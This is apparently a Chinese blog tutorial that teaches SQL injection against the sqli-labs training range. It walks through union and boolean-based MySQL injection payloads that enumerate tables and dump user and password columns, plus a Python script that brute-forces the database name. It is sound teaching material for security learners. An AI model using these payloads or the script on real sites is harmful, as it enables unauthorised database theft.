开新坑啦,从今天起,web和pwn都会不定时更新~

0x00 什么是SQL注入

是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

当客户端提交的数据未做处理或转义直接带入数据库就造成了Sql注入。

0x01 数据库

1)什么是数据库

数据库,简而言之可视为电子化的文件柜——存储电子文件的处所,用户可以对文件中的数据进行新增、查询、更新、删除等操作。

2)数据库种类

  • Access:Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。
  • Mssql:是指微软的SQLServer数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。
  • MySQL:是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品。MySQL 是最流行的关系型数据库管理系统之一,在 WEB 应用方面,MySQL是最好的 RDBMS (Relational Database Management System,关系数据库管理系统) 应用软件之一。
  • Oracle:Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。它是在数据库领域一直处于领先地位的产品。

0x02 SQL注入原理

1)网站和网页的区别

单纯的网页是静态的,html就是静态的,一些简单的网站(如某些引导页)只有网页和网页之间的跳转。而网站是动态的,是一个整体性的web应用程序,几乎所有的网站都要用到数据库。数据库我们怎么利用呢?例如某些博客站,cms站点。它的文章并不是存在网站目录里的,而是存在数据库里的,例如某些cms是通过后缀?id=321来调用数据库内的文章内容。此时便是向数据库传递变量为ID值为321请求,而数据库会响应并查询我们的请求。

原理:具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

2)举个栗子

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables 
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity 
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
?>

3)详细分析

首先,我们先看php文件中参数传递语句和sql查询语句:

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

我们可以看到,文件获取了我们传入的get参数,将其传递到sql查询语句中

比如我们传递id=1,那么对应的sql查询语句则为:

$sql="SELECT * FROM users WHERE id='1' LIMIT 0,1";

若我们传入id=1′ and 1=1 —

我们的sql查询语句就变成了:

$sql="SELECT * FROM users WHERE id='1' and 1=1 -- ' LIMIT 0,1";

这样也是可以正常查询数据的

ysql> SELECT * FROM users WHERE id 
I id I username I password I 
1 | Dumb 
1 row in set (O. 00 sec) 
ysql> 
'1' 
and 1=1 
LIMIT O, 1;

在传参的时候,先用一个单引号闭合前面的单引号,并在语句的最后加上–将后面的语句注释掉

这样就构成了sql注入

0x03 Mysql注入

Mysql数据库是我们在工作和比赛中最常见的数据库。

1)判断注入点

我们在进行注入前,需要先判断目标站点是否存在可注入点,以及存在注入的类型。

简单判断
?id=1'
?id=1' and 1=1 --+
?id=1" and 1=1 --+
?id=1') and 1=1 --+
?id=1 and 1=1 --+
?id=1") and 1=1 --+

判断原理很简单,就是看被注入的系统是否会将我们输入的and 1=1带入数据库进行查询。我们可以调整后面带入查询的语句来判断是否存在注入。

例:(这里使用sqli-labs-master靶场进行演示)

我们先访问靶场:http://10.211.55.4/sqli-labs-master/Less-1/?id=1

然后输入一个单引号,http://10.211.55.4/sqli-labs-master/Less-1/?id=1′

页面出现了错误提示,这里可能有同学会发现,我们之前输入的单引号变成了%27,这是因为浏览器对符号进行了URL编码,为了解决这个问题以及方便我们后续进行注入,我们可以安装一个浏览器插件:HackBar

我这里用的浏览器是Chrome内核的Edge,可以安装Chrome插件。具体插件安装方法这里不去赘述,大家不会的可以戳☞百度一下

插件安装完后按F12,选择HackBar即可

然后我们点击左侧的LOAD按钮即可将当前浏览器页面的URL载入到HackBar。

我们返回来继续看栗子🌰,先看一下报错信息。

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

报错说我们有SQL语法错误,我们主要看最后面这里

near ''1'' LIMIT 0,1' at line 1

除去前后两个单引号,中间标记颜色的就是SQL语句的内容,我们看到1后面有两个单引号,这就是报错的原因,我们可以根据这个猜测一下原始查询语句

SELECT * FROM xxxx WHERE id='$id' LIMIT 0,1

当我们输入?id=1’时,$id=1′ ,和上面语句拼接就得到了

SELECT * FROM xxxx WHERE id='1'' LIMIT 0,1

语句中多了一个单引号,所以报错了。这时我们继续输入?id=1′ and 1=1 –+

这里的–+是注释符,加号在传入数据库前会被转换成空格。

拼接后得到如下语句

SELECT * FROM xxxx WHERE id='1' and 1=1 -- ' LIMIT 0,1

‘ LIMIT 0,1被–注释掉,因此实际带入到数据库中查询的语句只有:

SELECT * FROM xxxx WHERE id='1' and 1=1

我们测试一下

页面返回正常,那么我们将1=1改成1=2再测试一下

页面没有返回任何内容,也就是说我们构造的语句成功带入到数据库中进行查询了

2)联合注入

联合注入是sql注入中最简单的注入方式,不过也有限制条件,就是页面上要有显示位。

什么是显示位

在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数据展示在页面中,这个展示数据的位置就叫显示位。

联合注入流程
  1. 判断注入点&注入类型
  2. 判断字段数
  3. 判断显示位
  4. 查询表名
  5. 查询列名
  6. 查询字段内容
判断字段数

order by 函数是对MySQL中查询结果按照指定字段名进行排序,除了指定字 段名还可以指定字段的栏位进行排序,第一个查询字段为1,第二个为2,以此类推。

字段也就是数据表中的列。

我们输入?id=1′ order by 1 –+ 页面正常

然后输入?id=1′ order by 2 –+,直到页面报错或者不显示内容

输入到4的时候,页面报错,也就是说字段数是3

判断显示位

知道了字段数我们就可以继续注入了,接下来是判断显示位。

判断显示位我们使用以下语句

?id=-1' union select 1,2,3 --+

这里需要注意的是,id的参数为-1,因为数据库中,id=-1是没有任何内容的,如果id=1,查询出的内容就会显示在显示位上,这样我们就无法判断哪个字段拥有显示位。

我们执行语句,可以看到字段2和3存在显示位,那么我们就可以利用这两个显示位来显示我们需要查询的内容。

查询表名

在查询表名之前我们先看一下数据库名,我们利用mysql自带函数database()来查询

查询语句如下:

?id=-1' union select 1,database(),3 --+

执行语句后,原来显示2的显示位现在显示出数据库名:security

接下来就是查询表名了,Mysql 5.0以上版本会有一个information_schema的数据库,里面存放了所有数据库的表和字段关系,我们可以利用这个数据库来查询security数据库的表名和字段名。

查询表名语句如下

?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1 --+

执行语句测试一下

这里我将语句拆分一下给大家讲解,首先先看这里

?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1 --+

这个table_name和table_schema可不是瞎写的,table_name和table_schema是information_schema数据库中tables表中的字段。table_schema存放的是数据库名,table_name存放的是相对应的表名

这里打开数据库给大家看一下

?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1 --+

information_schema.tables表示查询information_schema数据库的tables表

?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1 --+

limit 0,1 表示从第0行开始,显示1行,limit 1,1 就是从第1行开始显示1行

这样大家就能比较直观的看懂了

查询字段名

查完表名我们就可以查询字段名了

查询语句如下:

?id=-1' union select 1,column_name,3 from information_schema.columns where table_name='admin_user' limit 0,1 --+

这里column_name和table_name都是information_schema.columns表中的字段,和上面一样。admin_user是上面查表名查到的。

我们将所有字段都查询出来,得到Id,user,pass三个字段

查询字段内容

最后来查询字段内容,直接用简单的查询语句即可

?id=-1' union select 1,user,pass from admin_user limit 0,1 --+

3)布尔注入

接下来讲解一下布尔注入,当页面没有显示位时,我们就需要用到布尔注入,注入步骤和联合注入差不多

这里需要给大家介绍几个函数:

  • mid(str,1,3) :字符串截取,表示从第一个字符开始截取,截取到第三个
  • ORD(str) :将字符转换成ascii码
  • Length(str) :统计字符串长度

布尔是一种数据类型,只会返回0,1代表错误和正确。布尔注入就是通过判断页面返回正确或错误来进行注入的一种方式。

我们先来测试一下

?id=1

页面显示You are in,表示页面正常显示

输入?id=1′

页面没有回显,表示页面错误

爆数据库名

先简单判断一下数据库名的长度

?id=-1' or length(database()) > 7 --+

返回正确,我们继续

?id=-1' or length(database()) > 8 --+

返回错误,也就是说数据库名的长度为8

接下来我们爆一下数据库名

?id=-1' or mid(database(),1,1) = 'a' --+

返回错误,继续测,直到页面返回正确

?id=-1' or mid(database(),1,1) = 's' --+

当我们测到s的时候,页面返回正确,那么数据库第一位就是s

以此类推,可以把整个数据库名都爆出来

不过这样爆的话,每位都要测试很多次,我们可以采用二分法用ascii码来进行注入

?id=-1' or ORD(mid(database(),1,1)) > 100 --+

先测试数据库名第一位的ascii码值是否大于100

?id=-1' or ORD(mid(database(),1,1)) > 200 --+

再测试是否大于200,若不大于,测试是否大于150

?id=-1′ or ORD(mid(database(),1,1))>100 –+正确
?id=-1′ or ORD(mid(database(),1,1))>200 –+报错
?id=-1′ or ORD(mid(database(),1,1))>150 –+报错
?id=-1′ or ORD(mid(database(),1,1))>125 –+报错
?id=-1′ or ORD(mid(database(),1,1))>115 –+报错
?id=-1′ or ORD(mid(database(),1,1))>114 –+正确
?id=-1′ or ORD(mid(database(),1,1))=115 –+正确

就是这样,换算一下ascii码就能得到对应的字符

爆表名

和前面的联合注入很相似,只不过加了函数

依旧是两种方式,可以直接猜测字符,也可以利用二分法去爆ascii码

先看看长度

?id=-1′ or (select length(TABLE_NAME) from information_schema.tables where table_schema=database() limit 0,1) > 1 –+正确
?id=-1′ or (select length(TABLE_NAME) from information_schema.tables where table_schema=database() limit 0,1) > 10 –+报错
?id=-1′ or (select length(TABLE_NAME) from information_schema.tables where table_schema=database() limit 0,1) > 5 –+正确
?id=-1′ or (select length(TABLE_NAME) from information_schema.tables where table_schema=database() limit 0,1) > 7 –+报错
?id=-1′ or (select length(TABLE_NAME) from information_schema.tables where table_schema=database() limit 0,1) > 6 –+报错
?id=-1′ or (select length(TABLE_NAME) from information_schema.tables where table_schema=database() limit 0,1) = 6 –+正确

利用二分法爆ascii码

?id=-1′ or (select ORD(mid(TABLE_NAME,1,1)) from information_schema.tables where table_schema=database() limit 0,1) > 100 –+正确
?id=-1′ or (select ORD(mid(TABLE_NAME,1,1)) from information_schema.tables where table_schema=database() limit 0,1) > 200 –+报错
?id=-1′ or (select ORD(mid(TABLE_NAME,1,1)) from information_schema.tables where table_schema=database() limit 0,1) > 150 –+报错
?id=-1′ or (select ORD(mid(TABLE_NAME,1,1)) from information_schema.tables where table_schema=database() limit 0,1) > 125 –+报错
?id=-1′ or (select ORD(mid(TABLE_NAME,1,1)) from information_schema.tables where table_schema=database() limit 0,1) > 110 –+报错
?id=-1′ or (select ORD(mid(TABLE_NAME,1,1)) from information_schema.tables where table_schema=database() limit 0,1) > 101 –+报错
?id=-1′ or (select ORD(mid(TABLE_NAME,1,1)) from information_schema.tables where table_schema=database() limit 0,1) = 101 –+正确

直接爆字符

?id=-1′ or (select mid(TABLE_NAME,1,1) from information_schema.tables where table_schema=database() limit 0,1) = ‘a’ –+报错
?id=-1′ or (select mid(TABLE_NAME,1,1) from information_schema.tables where table_schema=database() limit 0,1) = ‘b’ –+报错
?id=-1′ or (select mid(TABLE_NAME,1,1) from information_schema.tables where table_schema=database() limit 0,1) = ‘c’ –+报错
?id=-1′ or (select mid(TABLE_NAME,1,1) from information_schema.tables where table_schema=database() limit 0,1) = ‘d’ –+报错
?id=-1′ or (select mid(TABLE_NAME,1,1) from information_schema.tables where table_schema=database() limit 0,1) = ‘e’ –+正确
爆字段名和爆内容

这里就不多bb了,和上面一下,稍微改一下就行

脚本爆破

这里着重讲一下,大家看到这里可能会发现,布尔注入很麻烦,每个字符都要执行好多语句,那么我们可以利用python脚本来帮我们跑,只需要编写好特定的语句即可。

import requests
import time
import re

url = "http://10.211.55.4/sqli-labs-master/Less-8/?id="
sqllist = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"

def getKey():
    result = ''
    for j in range(1,40):
        for i in sqllist:
            time.sleep(0.1)
            payload = "-1' or mid(database(),%d"%j + ",1)=" + "'" + i + "' --+"
            data = url + payload
            response = requests.get(data)
            if 'You' in response.text:
                result += i
                print(result)
                break
            #print(payload)
    print(result)
getKey()

爆破表、字段和内容只需要稍微修改脚本即可。

盲注、堆叠注入、报错注入等其他注入方式留在下篇讲~